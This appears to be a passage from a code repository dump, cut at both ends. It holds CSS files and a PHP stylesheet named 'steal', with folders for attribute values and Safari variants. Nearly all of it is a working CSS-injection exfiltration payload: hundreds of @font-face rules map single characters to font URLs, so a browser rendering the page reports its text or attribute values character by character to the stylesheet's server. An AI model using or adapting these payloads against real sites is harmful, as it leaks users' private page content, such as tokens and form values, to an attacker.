font-family: steal; 78 | } 79 | 80 | @font-face { 81 | src: url("/."); 82 | unicode-range: U+002e; 83 | font-family: steal; 84 | } 85 | 86 | @font-face { 87 | src: url("/%2F"); 88 | unicode-range: U+002f; 89 | font-family: steal; 90 | } 91 | 92 | @font-face { 93 | src: url("/%3A"); 94 | unicode-range: U+003a; 95 | font-family: steal; 96 | } 97 | 98 | @font-face { 99 | src: url("/%3B"); 100 | unicode-range: U+003b; 101 | font-family: steal; 102 | } 103 | 104 | @font-face { 105 | src: url("/%3C"); 106 | unicode-range: U+003c; 107 | font-family: steal; 108 | } 109 | 110 | @font-face { 111 | src: url("/%3D"); 112 | unicode-range: U+003d; 113 | font-family: steal; 114 | } 115 | 116 | @font-face { 117 | src: url("/%3E"); 118 | unicode-range: U+003e; 119 | font-family: steal; 120 | } 121 | 122 | @font-face { 123 | src: url("/%3F"); 124 | unicode-range: U+003f; 125 | font-family: steal; 126 | } 127 | 128 | @font-face { 129 | src: url("/%40"); 130 | unicode-range: U+0040; 131 | font-family: steal; 132 | } 133 | 134 | @font-face { 135 | src: url("/%5B"); 136 | unicode-range: U+005b; 137 | font-family: steal; 138 | } 139 | 140 | @font-face { 141 | src: url("/%5C"); 142 | unicode-range: U+005c; 143 | font-family: steal; 144 | } 145 | 146 | @font-face { 147 | src: url("/%5D"); 148 | unicode-range: U+005d; 149 | font-family: steal; 150 | } 151 | 152 | @font-face { 153 | src: url("/%5E"); 154 | unicode-range: U+005e; 155 | font-family: steal; 156 | } 157 | 158 | @font-face { 159 | src: url("/%60"); 160 | unicode-range: U+0060; 161 | font-family: steal; 162 | } 163 | 164 | @font-face { 165 | src: url("/%7B"); 166 | unicode-range: U+007b; 167 | font-family: steal; 168 | } 169 | 170 | @font-face { 171 | src: url("/%7C"); 172 | unicode-range: U+007c; 173 | font-family: steal; 174 | } 175 | 176 | @font-face { 177 | src: url("/%7D"); 178 | unicode-range: U+007d; 179 | font-family: steal; 180 | } 181 | 182 | @font-face { 183 | src: url("/~"); 184 | unicode-range: U+007e; 185 | font-family: steal; 186 | } 187 | -------------------------------------------------------------------------------- /style.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | @font-face { 8 | src: url("/a?"); 9 | unicode-range: U+0061; 10 | font-family: steal; 11 | } 12 | @font-face { 13 | src: url("/b?"); 14 | unicode-range: U+0062; 15 | font-family: steal; 16 | } 17 | @font-face { 18 | src: url("/c?"); 19 | unicode-range: U+0063; 20 | font-family: steal; 21 | } 22 | @font-face { 23 | src: url("/d?"); 24 | unicode-range: U+0064; 25 | font-family: steal; 26 | } 27 | @font-face { 28 | src: url("/e?"); 29 | unicode-range: U+0065; 30 | font-family: steal; 31 | } 32 | @font-face { 33 | src: url("/f?"); 34 | unicode-range: U+0066; 35 | font-family: steal; 36 | } 37 | @font-face { 38 | src: url("/g?"); 39 | unicode-range: U+0067; 40 | font-family: steal; 41 | } 42 | @font-face { 43 | src: url("/h?"); 44 | unicode-range: U+0068; 45 | font-family: steal; 46 | } 47 | @font-face { 48 | src: url("/i?"); 49 | unicode-range: U+0069; 50 | font-family: steal; 51 | } 52 | @font-face { 53 | src: url("/j?"); 54 | unicode-range: U+006a; 55 | font-family: steal; 56 | } 57 | @font-face { 58 | src: url("/k?"); 59 | unicode-range: U+006b; 60 | font-family: steal; 61 | } 62 | @font-face { 63 | src: url("/l?"); 64 | unicode-range: U+006c; 65 | font-family: steal; 66 | } 67 | @font-face { 68 | src: url("/m?"); 69 | unicode-range: U+006d; 70 | font-family: steal; 71 | } 72 | @font-face { 73 | src: url("/n?"); 74 | unicode-range: U+006e; 75 | font-family: steal; 76 | } 77 | @font-face { 78 | src: url("/o?"); 79 | unicode-range: U+006f; 80 | font-family: steal; 81 | } 82 | @font-face { 83 | src: url("/p?"); 84 | unicode-range: U+0070; 85 | font-family: steal; 86 | } 87 | @font-face { 88 | src: url("/q?"); 89 | unicode-range: U+0071; 90 | font-family: steal; 91 | } 92 | @font-face { 93 | src: url("/r?"); 94 | unicode-range: U+0072; 95 | font-family: steal; 96 | } 97 | @font-face { 98 | src: url("/s?"); 99 | unicode-range: U+0073; 100 | font-family: steal; 101 | } 102 | @font-face { 103 | src: url("/t?"); 104 | unicode-range: U+0074; 105 | font-family: steal; 106 | } 107 | @font-face { 108 | src: url("/u?"); 109 | unicode-range: U+0075; 110 | font-family: steal; 111 | } 112 | @font-face { 113 | src: url("/v?"); 114 | unicode-range: U+0076; 115 | font-family: steal; 116 | } 117 | @font-face { 118 | src: url("/w?"); 119 | unicode-range: U+0077; 120 | font-family: steal; 121 | } 122 | @font-face { 123 | src: url("/x?"); 124 | unicode-range: U+0078; 125 | font-family: steal; 126 | } 127 | @font-face { 128 | src: url("/y?"); 129 | unicode-range: U+0079; 130 | font-family: steal; 131 | } 132 | @font-face { 133 | src: url("/z?"); 134 | unicode-range: U+007a; 135 | font-family: steal; 136 | } 137 | 138 | 139 | @keyframes steal { 140 | 141 | % { 142 | font-family: steal; 143 | color: 144 | } 145 | 146 | } -------------------------------------------------------------------------------- /steal-uppercase.css: -------------------------------------------------------------------------------- 1 | 2 | @font-face { 3 | src: url("/A"); 4 | unicode-range: U+0041; 5 | font-family: steal; 6 | } 7 | 8 | @font-face { 9 | src: url("/B"); 10 | unicode-range: U+0042; 11 | font-family: steal; 12 | } 13 | 14 | @font-face { 15 | src: url("/C"); 16 | unicode-range: U+0043; 17 | font-family: steal; 18 | } 19 | 20 | @font-face { 21 | src: url("/D"); 22 | unicode-range: U+0044; 23 | font-family: steal; 24 | } 25 | 26 | @font-face { 27 | src: url("/E"); 28 | unicode-range: U+0045; 29 | font-family: steal; 30 | } 31 | 32 | @font-face { 33 | src: url("/F"); 34 | unicode-range: U+0046; 35 | font-family: steal; 36 | } 37 | 38 | @font-face { 39 | src: url("/G"); 40 | unicode-range: U+0047; 41 | font-family: steal; 42 | } 43 | 44 | @font-face { 45 | src: url("/H"); 46 | unicode-range: U+0048; 47 | font-family: steal; 48 | } 49 | 50 | @font-face { 51 | src: url("/I"); 52 | unicode-range: U+0049; 53 | font-family: steal; 54 | } 55 | 56 | @font-face { 57 | src: url("/J"); 58 | unicode-range: U+004a; 59 | font-family: steal; 60 | } 61 | 62 | @font-face { 63 | src: url("/K"); 64 | unicode-range: U+004b; 65 | font-family: steal; 66 | } 67 | 68 | @font-face { 69 | src: url("/L"); 70 | unicode-range: U+004c; 71 | font-family: steal; 72 | } 73 | 74 | @font-face { 75 | src: url("/M"); 76 | unicode-range: U+004d; 77 | font-family: steal; 78 | } 79 | 80 | @font-face { 81 | src: url("/N"); 82 | unicode-range: U+004e; 83 | font-family: steal; 84 | } 85 | 86 | @font-face { 87 | src: url("/O"); 88 | unicode-range: U+004f; 89 | font-family: steal; 90 | } 91 | 92 | @font-face { 93 | src: url("/P"); 94 | unicode-range: U+0050; 95 | font-family: steal; 96 | } 97 | 98 | @font-face { 99 | src: url("/Q"); 100 | unicode-range: U+0051; 101 | font-family: steal; 102 | } 103 | 104 | @font-face { 105 | src: url("/R"); 106 | unicode-range: U+0052; 107 | font-family: steal; 108 | } 109 | 110 | @font-face { 111 | src: url("/S"); 112 | unicode-range: U+0053; 113 | font-family: steal; 114 | } 115 | 116 | @font-face { 117 | src: url("/T"); 118 | unicode-range: U+0054; 119 | font-family: steal; 120 | } 121 | 122 | @font-face { 123 | src: url("/U"); 124 | unicode-range: U+0055; 125 | font-family: steal; 126 | } 127 | 128 | @font-face { 129 | src: url("/V"); 130 | unicode-range: U+0056; 131 | font-family: steal; 132 | } 133 | 134 | @font-face { 135 | src: url("/W"); 136 | unicode-range: U+0057; 137 | font-family: steal; 138 | } 139 | 140 | @font-face { 141 | src: url("/X"); 142 | unicode-range: U+0058; 143 | font-family: steal; 144 | } 145 | 146 | @font-face { 147 | src: url("/Y"); 148 | unicode-range: U+0059; 149 | font-family: steal; 150 | } 151 | 152 | @font-face { 153 | src: url("/Z"); 154 | unicode-range: U+005a; 155 | font-family: steal; 156 | } 157 | 158 | 159 | @font-face { 160 | src: url("/A"); 161 | unicode-range: U+0041; 162 | font-family: steal2; 163 | } 164 | 165 | @font-face { 166 | src: url("/B"); 167 | unicode-range: U+0042; 168 | font-family: steal2; 169 | } 170 | 171 | @font-face { 172 | src: url("/C"); 173 | unicode-range: U+0043; 174 | font-family: steal2; 175 | } 176 | 177 | @font-face { 178 | src: url("/D"); 179 | unicode-range: U+0044; 180 | font-family: steal2; 181 | } 182 | 183 | @font-face { 184 | src: url("/E"); 185 | unicode-range: U+0045; 186 | font-family: steal2; 187 | } 188 | 189 | @font-face { 190 | src: url("/F"); 191 | unicode-range: U+0046; 192 | font-family: steal2; 193 | } 194 | 195 | @font-face { 196 | src: url("/G"); 197 | unicode-range: U+0047; 198 | font-family: steal2; 199 | } 200 | 201 | @font-face { 202 | src: url("/H"); 203 | unicode-range: U+0048; 204 | font-family: steal2; 205 | } 206 | 207 | @font-face { 208 | src: url("/I"); 209 | unicode-range: U+0049; 210 | font-family: steal2; 211 | } 212 | 213 | @font-face { 214 | src: url("/J"); 215 | unicode-range: U+004a; 216 | font-family: steal2; 217 | } 218 | 219 | @font-face { 220 | src: url("/K"); 221 | unicode-range: U+004b; 222 | font-family: steal2; 223 | } 224 | 225 | @font-face { 226 | src: url("/L"); 227 | unicode-range: U+004c; 228 | font-family: steal2; 229 | } 230 | 231 | @font-face { 232 | src: url("/M"); 233 | unicode-range: U+004d; 234 | font-family: steal2; 235 | } 236 | 237 | @font-face { 238 | src: url("/N"); 239 | unicode-range: U+004e; 240 | font-family: steal2; 241 | } 242 | 243 | @font-face { 244 | src: url("/O"); 245 | unicode-range: U+004f; 246 | font-family: steal2; 247 | } 248 | 249 | @font-face { 250 | src: url("/P"); 251 | unicode-range: U+0050; 252 | font-family: steal2; 253 | } 254 | 255 | @font-face { 256 | src: url("/Q"); 257 | unicode-range: U+0051; 258 | font-family: steal2; 259 | } 260 | 261 | @font-face { 262 | src: url("/R"); 263 | unicode-range: U+0052; 264 | font-family: steal2; 265 | } 266 | 267 | @font-face { 268 | src: url("/S"); 269 | unicode-range: U+0053; 270 | font-family: steal2; 271 | } 272 | 273 | @font-face { 274 | src: url("/T"); 275 | unicode-range: U+0054; 276 | font-family: steal2; 277 | } 278 | 279 | @font-face { 280 | src: url("/U"); 281 | unicode-range: U+0055; 282 | font-family: steal2; 283 | } 284 | 285 | @font-face { 286 | src: url("/V"); 287 | unicode-range: U+0056; 288 | font-family: steal2; 289 | } 290 | 291 | @font-face { 292 | src: url("/W"); 293 | unicode-range: U+0057; 294 | font-family: steal2; 295 | } 296 | 297 | @font-face { 298 | src: url("/X"); 299 | unicode-range: U+0058; 300 | font-family: steal2; 301 | } 302 | 303 | @font-face { 304 | src: url("/Y"); 305 | unicode-range: U+0059; 306 | font-family: steal2; 307 | } 308 | 309 | @font-face { 310 | src: url("/Z"); 311 | unicode-range: U+005a; 312 | font-family: steal2; 313 | } 314 | -------------------------------------------------------------------------------- /steal-attribute-values/steal-uppercase.css: -------------------------------------------------------------------------------- 1 | 2 | @font-face { 3 | src: url("/A"); 4 | unicode-range: U+0041; 5 | font-family: steal; 6 | } 7 | 8 | @font-face { 9 | src: url("/B"); 10 | unicode-range: U+0042; 11 | font-family: steal; 12 | } 13 | 14 | @font-face { 15 | src: url("/C"); 16 | unicode-range: U+0043; 17 | font-family: steal; 18 | } 19 | 20 | @font-face { 21 | src: url("/D"); 22 | unicode-range: U+0044; 23 | font-family: steal; 24 | } 25 | 26 | @font-face { 27 | src: url("/E"); 28 | unicode-range: U+0045; 29 | font-family: steal; 30 | } 31 | 32 | @font-face { 33 | src: url("/F"); 34 | unicode-range: U+0046; 35 | font-family: steal; 36 | } 37 | 38 | @font-face { 39 | src: url("/G"); 40 | unicode-range: U+0047; 41 | font-family: steal; 42 | } 43 | 44 | @font-face { 45 | src: url("/H"); 46 | unicode-range: U+0048; 47 | font-family: steal; 48 | } 49 | 50 | @font-face { 51 | src: url("/I"); 52 | unicode-range: U+0049; 53 | font-family: steal; 54 | } 55 | 56 | @font-face { 57 | src: url("/J"); 58 | unicode-range: U+004a; 59 | font-family: steal; 60 | } 61 | 62 | @font-face { 63 | src: url("/K"); 64 | unicode-range: U+004b; 65 | font-family: steal; 66 | } 67 | 68 | @font-face { 69 | src: url("/L"); 70 | unicode-range: U+004c; 71 | font-family: steal; 72 | } 73 | 74 | @font-face { 75 | src: url("/M"); 76 | unicode-range: U+004d; 77 | font-family: steal; 78 | } 79 | 80 | @font-face { 81 | src: url("/N"); 82 | unicode-range: U+004e; 83 | font-family: steal; 84 | } 85 | 86 | @font-face { 87 | src: url("/O"); 88 | unicode-range: U+004f; 89 | font-family: steal; 90 | } 91 | 92 | @font-face { 93 | src: url("/P"); 94 | unicode-range: U+0050; 95 | font-family: steal; 96 | } 97 | 98 | @font-face { 99 | src: url("/Q"); 100 | unicode-range: U+0051; 101 | font-family: steal; 102 | } 103 | 104 | @font-face { 105 | src: url("/R"); 106 | unicode-range: U+0052; 107 | font-family: steal; 108 | } 109 | 110 | @font-face { 111 | src: url("/S"); 112 | unicode-range: U+0053; 113 | font-family: steal; 114 | } 115 | 116 | @font-face { 117 | src: url("/T"); 118 | unicode-range: U+0054; 119 | font-family: steal; 120 | } 121 | 122 | @font-face { 123 | src: url("/U"); 124 | unicode-range: U+0055; 125 | font-family: steal; 126 | } 127 | 128 | @font-face { 129 | src: url("/V"); 130 | unicode-range: U+0056; 131 | font-family: steal; 132 | } 133 | 134 | @font-face { 135 | src: url("/W"); 136 | unicode-range: U+0057; 137 | font-family: steal; 138 | } 139 | 140 | @font-face { 141 | src: url("/X"); 142 | unicode-range: U+0058; 143 | font-family: steal; 144 | } 145 | 146 | @font-face { 147 | src: url("/Y"); 148 | unicode-range: U+0059; 149 | font-family: steal; 150 | } 151 | 152 | @font-face { 153 | src: url("/Z"); 154 | unicode-range: U+005a; 155 | font-family: steal; 156 | } 157 | 158 | 159 | @font-face { 160 | src: url("/A"); 161 | unicode-range: U+0041; 162 | font-family: steal2; 163 | } 164 | 165 | @font-face { 166 | src: url("/B"); 167 | unicode-range: U+0042; 168 | font-family: steal2; 169 | } 170 | 171 | @font-face { 172 | src: url("/C"); 173 | unicode-range: U+0043; 174 | font-family: steal2; 175 | } 176 | 177 | @font-face { 178 | src: url("/D"); 179 | unicode-range: U+0044; 180 | font-family: steal2; 181 | } 182 | 183 | @font-face { 184 | src: url("/E"); 185 | unicode-range: U+0045; 186 | font-family: steal2; 187 | } 188 | 189 | @font-face { 190 | src: url("/F"); 191 | unicode-range: U+0046; 192 | font-family: steal2; 193 | } 194 | 195 | @font-face { 196 | src: url("/G"); 197 | unicode-range: U+0047; 198 | font-family: steal2; 199 | } 200 | 201 | @font-face { 202 | src: url("/H"); 203 | unicode-range: U+0048; 204 | font-family: steal2; 205 | } 206 | 207 | @font-face { 208 | src: url("/I"); 209 | unicode-range: U+0049; 210 | font-family: steal2; 211 | } 212 | 213 | @font-face { 214 | src: url("/J"); 215 | unicode-range: U+004a; 216 | font-family: steal2; 217 | } 218 | 219 | @font-face { 220 | src: url("/K"); 221 | unicode-range: U+004b; 222 | font-family: steal2; 223 | } 224 | 225 | @font-face { 226 | src: url("/L"); 227 | unicode-range: U+004c; 228 | font-family: steal2; 229 | } 230 | 231 | @font-face { 232 | src: url("/M"); 233 | unicode-range: U+004d; 234 | font-family: steal2; 235 | } 236 | 237 | @font-face { 238 | src: url("/N"); 239 | unicode-range: U+004e; 240 | font-family: steal2; 241 | } 242 | 243 | @font-face { 244 | src: url("/O"); 245 | unicode-range: U+004f; 246 | font-family: steal2; 247 | } 248 | 249 | @font-face { 250 | src: url("/P"); 251 | unicode-range: U+0050; 252 | font-family: steal2; 253 | } 254 | 255 | @font-face { 256 | src: url("/Q"); 257 | unicode-range: U+0051; 258 | font-family: steal2; 259 | } 260 | 261 | @font-face { 262 | src: url("/R"); 263 | unicode-range: U+0052; 264 | font-family: steal2; 265 | } 266 | 267 | @font-face { 268 | src: url("/S"); 269 | unicode-range: U+0053; 270 | font-family: steal2; 271 | } 272 | 273 | @font-face { 274 | src: url("/T"); 275 | unicode-range: U+0054; 276 | font-family: steal2; 277 | } 278 | 279 | @font-face { 280 | src: url("/U"); 281 | unicode-range: U+0055; 282 | font-family: steal2; 283 | } 284 | 285 | @font-face { 286 | src: url("/V"); 287 | unicode-range: U+0056; 288 | font-family: steal2; 289 | } 290 | 291 | @font-face { 292 | src: url("/W"); 293 | unicode-range: U+0057; 294 | font-family: steal2; 295 | } 296 | 297 | @font-face { 298 | src: url("/X"); 299 | unicode-range: U+0058; 300 | font-family: steal2; 301 | } 302 | 303 | @font-face { 304 | src: url("/Y"); 305 | unicode-range: U+0059; 306 | font-family: steal2; 307 | } 308 | 309 | @font-face { 310 | src: url("/Z"); 311 | unicode-range: U+005a; 312 | font-family: steal2; 313 | } 314 | -------------------------------------------------------------------------------- /steal-first-line-safari/steal-uppercase.css: -------------------------------------------------------------------------------- 1 | 2 | @font-face { 3 | src: url("/A"); 4 | unicode-range: U+0041; 5 | font-family: steal; 6 | } 7 | 8 | @font-face { 9 | src: url("/B"); 10 | unicode-range: U+0042; 11 | font-family: steal; 12 | } 13 | 14 | @font-face { 15 | src: url("/C"); 16 | unicode-range: U+0043; 17 | font-family: steal; 18 | } 19 | 20 | @font-face { 21 | src: url("/D"); 22 | unicode-range: U+0044; 23 | font-family: steal; 24 | } 25 | 26 | @font-face { 27 | src: url("/E"); 28 | unicode-range: U+0045; 29 | font-family: steal; 30 | } 31 | 32 | @font-face { 33 | src: url("/F"); 34 | unicode-range: U+0046; 35 | font-family: steal; 36 | } 37 | 38 | @font-face { 39 | src: url("/G"); 40 | unicode-range: U+0047; 41 | font-family: steal; 42 | } 43 | 44 | @font-face { 45 | src: url("/H"); 46 | unicode-range: U+0048; 47 | font-family: steal; 48 | } 49 | 50 | @font-face { 51 | src: url("/I"); 52 | unicode-range: U+0049; 53 | font-family: steal; 54 | } 55 | 56 | @font-face { 57 | src: url("/J"); 58 | unicode-range: U+004a; 59 | font-family: steal; 60 | } 61 | 62 | @font-face { 63 | src: url("/K"); 64 | unicode-range: U+004b; 65 | font-family: steal; 66 | } 67 | 68 | @font-face { 69 | src: url("/L"); 70 | unicode-range: U+004c; 71 | font-family: steal; 72 | } 73 | 74 | @font-face { 75 | src: url("/M"); 76 | unicode-range: U+004d; 77 | font-family: steal; 78 | } 79 | 80 | @font-face { 81 | src: url("/N"); 82 | unicode-range: U+004e; 83 | font-family: steal; 84 | } 85 | 86 | @font-face { 87 | src: url("/O"); 88 | unicode-range: U+004f; 89 | font-family: steal; 90 | } 91 | 92 | @font-face { 93 | src: url("/P"); 94 | unicode-range: U+0050; 95 | font-family: steal; 96 | } 97 | 98 | @font-face { 99 | src: url("/Q"); 100 | unicode-range: U+0051; 101 | font-family: steal; 102 | } 103 | 104 | @font-face { 105 | src: url("/R"); 106 | unicode-range: U+0052; 107 | font-family: steal; 108 | } 109 | 110 | @font-face { 111 | src: url("/S"); 112 | unicode-range: U+0053; 113 | font-family: steal; 114 | } 115 | 116 | @font-face { 117 | src: url("/T"); 118 | unicode-range: U+0054; 119 | font-family: steal; 120 | } 121 | 122 | @font-face { 123 | src: url("/U"); 124 | unicode-range: U+0055; 125 | font-family: steal; 126 | } 127 | 128 | @font-face { 129 | src: url("/V"); 130 | unicode-range: U+0056; 131 | font-family: steal; 132 | } 133 | 134 | @font-face { 135 | src: url("/W"); 136 | unicode-range: U+0057; 137 | font-family: steal; 138 | } 139 | 140 | @font-face { 141 | src: url("/X"); 142 | unicode-range: U+0058; 143 | font-family: steal; 144 | } 145 | 146 | @font-face { 147 | src: url("/Y"); 148 | unicode-range: U+0059; 149 | font-family: steal; 150 | } 151 | 152 | @font-face { 153 | src: url("/Z"); 154 | unicode-range: U+005a; 155 | font-family: steal; 156 | } 157 | 158 | 159 | @font-face { 160 | src: url("/A"); 161 | unicode-range: U+0041; 162 | font-family: steal2; 163 | } 164 | 165 | @font-face { 166 | src: url("/B"); 167 | unicode-range: U+0042; 168 | font-family: steal2; 169 | } 170 | 171 | @font-face { 172 | src: url("/C"); 173 | unicode-range: U+0043; 174 | font-family: steal2; 175 | } 176 | 177 | @font-face { 178 | src: url("/D"); 179 | unicode-range: U+0044; 180 | font-family: steal2; 181 | } 182 | 183 | @font-face { 184 | src: url("/E"); 185 | unicode-range: U+0045; 186 | font-family: steal2; 187 | } 188 | 189 | @font-face { 190 | src: url("/F"); 191 | unicode-range: U+0046; 192 | font-family: steal2; 193 | } 194 | 195 | @font-face { 196 | src: url("/G"); 197 | unicode-range: U+0047; 198 | font-family: steal2; 199 | } 200 | 201 | @font-face { 202 | src: url("/H"); 203 | unicode-range: U+0048; 204 | font-family: steal2; 205 | } 206 | 207 | @font-face { 208 | src: url("/I"); 209 | unicode-range: U+0049; 210 | font-family: steal2; 211 | } 212 | 213 | @font-face { 214 | src: url("/J"); 215 | unicode-range: U+004a; 216 | font-family: steal2; 217 | } 218 | 219 | @font-face { 220 | src: url("/K"); 221 | unicode-range: U+004b; 222 | font-family: steal2; 223 | } 224 | 225 | @font-face { 226 | src: url("/L"); 227 | unicode-range: U+004c; 228 | font-family: steal2; 229 | } 230 | 231 | @font-face { 232 | src: url("/M"); 233 | unicode-range: U+004d; 234 | font-family: steal2; 235 | } 236 | 237 | @font-face { 238 | src: url("/N"); 239 | unicode-range: U+004e; 240 | font-family: steal2; 241 | } 242 | 243 | @font-face { 244 | src: url("/O"); 245 | unicode-range: U+004f; 246 | font-family: steal2; 247 | } 248 | 249 | @font-face { 250 | src: url("/P"); 251 | unicode-range: U+0050; 252 | font-family: steal2; 253 | } 254 | 255 | @font-face { 256 | src: url("/Q"); 257 | unicode-range: U+0051; 258 | font-family: steal2; 259 | } 260 | 261 | @font-face { 262 | src: url("/R"); 263 | unicode-range: U+0052; 264 | font-family: steal2; 265 | } 266 | 267 | @font-face { 268 | src: url("/S"); 269 | unicode-range: U+0053; 270 | font-family: steal2; 271 | } 272 | 273 | @font-face { 274 | src: url("/T"); 275 | unicode-range: U+0054; 276 | font-family: steal2; 277 | } 278 | 279 | @font-face { 280 | src: url("/U"); 281 | unicode-range: U+0055; 282 | font-family: steal2; 283 | } 284 | 285 | @font-face { 286 | src: url("/V"); 287 | unicode-range: U+0056; 288 | font-family: steal2; 289 | } 290 | 291 | @font-face { 292 | src: url("/W"); 293 | unicode-range: U+0057; 294 | font-family: steal2; 295 | } 296 | 297 | @font-face { 298 | src: url("/X"); 299 | unicode-range: U+0058; 300 | font-family: steal2; 301 | } 302 | 303 | @font-face { 304 | src: url("/Y"); 305 | unicode-range: U+0059; 306 | font-family: steal2; 307 | } 308 | 309 | @font-face { 310 | src: url("/Z"); 311 | unicode-range: U+005a; 312 | font-family: steal2; 313 | } 314 | -------------------------------------------------------------------------------- /steal-n-characters-safari/steal-uppercase.css: -------------------------------------------------------------------------------- 1 | 2 | @font-face { 3 | src: url("/A"); 4 | unicode-range: U+0041; 5 | font-family: steal; 6 | } 7 | 8 | @font-face { 9 | src: url("/B"); 10 | unicode-range: U+0042; 11 | font-family: steal; 12 | } 13 | 14 | @font-face { 15 | src: url("/C"); 16 | unicode-range: U+0043; 17 | font-family: steal; 18 | } 19 | 20 | @font-face { 21 | src: url("/D"); 22 | unicode-range: U+0044; 23 | font-family: steal; 24 | } 25 | 26 | @font-face { 27 | src: url("/E"); 28 | unicode-range: U+0045; 29 | font-family: steal; 30 | } 31 | 32 | @font-face { 33 | src: url("/F"); 34 | unicode-range: U+0046; 35 | font-family: steal; 36 | } 37 | 38 | @font-face { 39 | src: url("/G"); 40 | unicode-range: U+0047; 41 | font-family: steal; 42 | } 43 | 44 | @font-face { 45 | src: url("/H"); 46 | unicode-range: U+0048; 47 | font-family: steal; 48 | } 49 | 50 | @font-face { 51 | src: url("/I"); 52 | unicode-range: U+0049; 53 | font-family: steal; 54 | } 55 | 56 | @font-face { 57 | src: url("/J"); 58 | unicode-range: U+004a; 59 | font-family: steal; 60 | } 61 | 62 | @font-face { 63 | src: url("/K"); 64 | unicode-range: U+004b; 65 | font-family: steal; 66 | } 67 | 68 | @font-face { 69 | src: url("/L"); 70 | unicode-range: U+004c; 71 | font-family: steal; 72 | } 73 | 74 | @font-face { 75 | src: url("/M"); 76 | unicode-range: U+004d; 77 | font-family: steal; 78 | } 79 | 80 | @font-face { 81 | src: url("/N"); 82 | unicode-range: U+004e; 83 | font-family: steal; 84 | } 85 | 86 | @font-face { 87 | src: url("/O"); 88 | unicode-range: U+004f; 89 | font-family: steal; 90 | } 91 | 92 | @font-face { 93 | src: url("/P"); 94 | unicode-range: U+0050; 95 | font-family: steal; 96 | } 97 | 98 | @font-face { 99 | src: url("/Q"); 100 | unicode-range: U+0051; 101 | font-family: steal; 102 | } 103 | 104 | @font-face { 105 | src: url("/R"); 106 | unicode-range: U+0052; 107 | font-family: steal; 108 | } 109 | 110 | @font-face { 111 | src: url("/S"); 112 | unicode-range: U+0053; 113 | font-family: steal; 114 | } 115 | 116 | @font-face { 117 | src: url("/T"); 118 | unicode-range: U+0054; 119 | font-family: steal; 120 | } 121 | 122 | @font-face { 123 | src: url("/U"); 124 | unicode-range: U+0055; 125 | font-family: steal; 126 | } 127 | 128 | @font-face { 129 | src: url("/V"); 130 | unicode-range: U+0056; 131 | font-family: steal; 132 | } 133 | 134 | @font-face { 135 | src: url("/W"); 136 | unicode-range: U+0057; 137 | font-family: steal; 138 | } 139 | 140 | @font-face { 141 | src: url("/X"); 142 | unicode-range: U+0058; 143 | font-family: steal; 144 | } 145 | 146 | @font-face { 147 | src: url("/Y"); 148 | unicode-range: U+0059; 149 | font-family: steal; 150 | } 151 | 152 | @font-face { 153 | src: url("/Z"); 154 | unicode-range: U+005a; 155 | font-family: steal; 156 | } 157 | 158 | 159 | @font-face { 160 | src: url("/A"); 161 | unicode-range: U+0041; 162 | font-family: steal2; 163 | } 164 | 165 | @font-face { 166 | src: url("/B"); 167 | unicode-range: U+0042; 168 | font-family: steal2; 169 | } 170 | 171 | @font-face { 172 | src: url("/C"); 173 | unicode-range: U+0043; 174 | font-family: steal2; 175 | } 176 | 177 | @font-face { 178 | src: url("/D"); 179 | unicode-range: U+0044; 180 | font-family: steal2; 181 | } 182 | 183 | @font-face { 184 | src: url("/E"); 185 | unicode-range: U+0045; 186 | font-family: steal2; 187 | } 188 | 189 | @font-face { 190 | src: url("/F"); 191 | unicode-range: U+0046; 192 | font-family: steal2; 193 | } 194 | 195 | @font-face { 196 | src: url("/G"); 197 | unicode-range: U+0047; 198 | font-family: steal2; 199 | } 200 | 201 | @font-face { 202 | src: url("/H"); 203 | unicode-range: U+0048; 204 | font-family: steal2; 205 | } 206 | 207 | @font-face { 208 | src: url("/I"); 209 | unicode-range: U+0049; 210 | font-family: steal2; 211 | } 212 | 213 | @font-face { 214 | src: url("/J"); 215 | unicode-range: U+004a; 216 | font-family: steal2; 217 | } 218 | 219 | @font-face { 220 | src: url("/K"); 221 | unicode-range: U+004b; 222 | font-family: steal2; 223 | } 224 | 225 | @font-face { 226 | src: url("/L"); 227 | unicode-range: U+004c; 228 | font-family: steal2; 229 | } 230 | 231 | @font-face { 232 | src: url("/M"); 233 | unicode-range: U+004d; 234 | font-family: steal2; 235 | } 236 | 237 | @font-face { 238 | src: url("/N"); 239 | unicode-range: U+004e; 240 | font-family: steal2; 241 | } 242 | 243 | @font-face { 244 | src: url("/O"); 245 | unicode-range: U+004f; 246 | font-family: steal2; 247 | } 248 | 249 | @font-face { 250 | src: url("/P"); 251 | unicode-range: U+0050; 252 | font-family: steal2; 253 | } 254 | 255 | @font-face { 256 | src: url("/Q"); 257 | unicode-range: U+0051; 258 | font-family: steal2; 259 | } 260 | 261 | @font-face { 262 | src: url("/R"); 263 | unicode-range: U+0052; 264 | font-family: steal2; 265 | } 266 | 267 | @font-face { 268 | src: url("/S"); 269 | unicode-range: U+0053; 270 | font-family: steal2; 271 | } 272 | 273 | @font-face { 274 | src: url("/T"); 275 | unicode-range: U+0054; 276 | font-family: steal2; 277 | } 278 | 279 | @font-face { 280 | src: url("/U"); 281 | unicode-range: U+0055; 282 | font-family: steal2; 283 | } 284 | 285 | @font-face { 286 | src: url("/V"); 287 | unicode-range: U+0056; 288 | font-family: steal2; 289 | } 290 | 291 | @font-face { 292 | src: url("/W"); 293 | unicode-range: U+0057; 294 | font-family: steal2; 295 | } 296 | 297 | @font-face { 298 | src: url("/X"); 299 | unicode-range: U+0058; 300 | font-family: steal2; 301 | } 302 | 303 | @font-face { 304 | src: url("/Y"); 305 | unicode-range: U+0059; 306 | font-family: steal2; 307 | } 308 | 309 | @font-face { 310 | src: url("/Z"); 311 | unicode-range: U+005a; 312 | font-family: steal2; 313 | } 314 | -------------------------------------------------------------------------------- /steal-second-letter-safari/steal-uppercase.css: -------------------------------------------------------------------------------- 1 | 2 | @font-face { 3 | src: url("/A"); 4 | unicode-range: U+0041; 5 | font-family: steal; 6 | } 7 | 8 | @font-face { 9 | src: url("/B"); 10 | unicode-range: U+0042; 11 | font-family: steal; 12 | } 13 | 14 | @font-face { 15 | src: url("/C"); 16 | unicode-range: U+0043; 17 | font-family: steal; 18 | } 19 | 20 | @font-face { 21 | src: url("/D"); 22 | unicode-range: U+0044; 23 | font-family: steal; 24 | } 25 | 26 | @font-face { 27 | src: url("/E"); 28 | unicode-range: U+0045; 29 | font-family: steal; 30 | } 31 | 32 | @font-face { 33 | src: url("/F"); 34 | unicode-range: U+0046; 35 | font-family: steal; 36 | } 37 | 38 | @font-face { 39 | src: url("/G"); 40 | unicode-range: U+0047; 41 | font-family: steal; 42 | } 43 | 44 | @font-face { 